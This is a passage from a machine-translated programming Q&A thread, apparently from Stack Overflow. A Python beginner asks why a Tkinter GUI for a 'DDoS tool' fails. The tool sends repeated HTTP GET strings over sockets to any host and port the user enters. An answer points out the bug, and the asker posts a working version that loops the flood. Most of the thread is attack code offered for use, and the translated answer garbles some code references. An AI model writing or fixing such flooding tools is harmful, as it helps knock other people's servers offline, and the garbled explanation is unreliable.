我是Python的新手,刚刚开始自己进入Tkinter。我开始为DDoS工具创建一个小GUI(因为它不需要太多输入等)。到目前为止,GUI和一切工作正常,但只要我尝试“开火”攻击它就会失败。我自己似乎无法找到错误。任何帮助将不胜感激:)
import time, socket, os, sys, string
from Tkinter import *
root = Tk()
root.title("DDoS")
m = StringVar()
h = StringVar()
p = StringVar()
c = IntVar()
# ***** Text *****
l1 = Label(root, text="Specify Message to send")
l2 = Label(root, text="Specify Host Url")
l3 = Label(root, text="Specify port (usually 80)")
l4 = Label(root, text="Specify amount of attacks")
l1.grid(row=0, sticky=W)
l2.grid(row=1, sticky=W)
l3.grid(row=2, sticky=W)
l4.grid(row=3, sticky=W)
# ***** Input Boxes *****
e1 = Entry(root, textvariable=m)
e2 = Entry(root, textvariable=h)
e3 = Entry(root, textvariable=p)
e4 = Entry(root, textvariable=c)
e1.grid(row=0, column=1)
e2.grid(row=1, column=1)
e3.grid(row=2, column=1)
e4.grid(row=3, column=1)
e3.insert(0, "80")
# ***** grab Input & convert *****
message = e1.get()
host = e2.get()
port = int(e3.get())
conn = int(e4.get())
ip = socket.gethostbyname( host )
def dos():
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((ip, port))
ddos.send("GET /%s HTTP/1.1\r\n" % message)
ddos.sendto("GET /%s HTTP/1.1\r\n" % message, (ip, port))
ddos.send("GET /%s HTTP/1.1\r\n" % message)
except socket.error, msg:
print("|[Connection Failed]|")
print ("|[DDoS Attack Engaged]|")
ddos.close()
for i in xrange(conn):
dos()
#FIRE
b = Button(root, text="FIRE", bg='green', command=dos)
b.grid(row=4, column=1)
root.mainloop()
答案 0 :(得分:0)
问题是您在用户能够输入任何数据之前调用&mut [T]
。该调用仅获取当前值,当GUI首次启动时,当前值为空。
您需要在e1.get()
功能中拨打该电话并拨打.get()
,这样您就可以获得点击按钮时的值。
答案 1 :(得分:0)
现在完美运行,将for循环更改为函数。感谢所有帮助。
message = "test"
ip = socket.gethostbyname(e2.get())
def dos():
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((e2.get(), int(e3.get())))
ddos.send( message )
ddos.sendto( message, (ip, int(e3.get()) ))
ddos.send( message )
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
def attack():
for i in xrange(int(e4.get())):
dos()
#FIRE
b = Button(root, text="FIRE", bg='green', command=attack)
b.grid(row=4, column=1)
root.mainloop()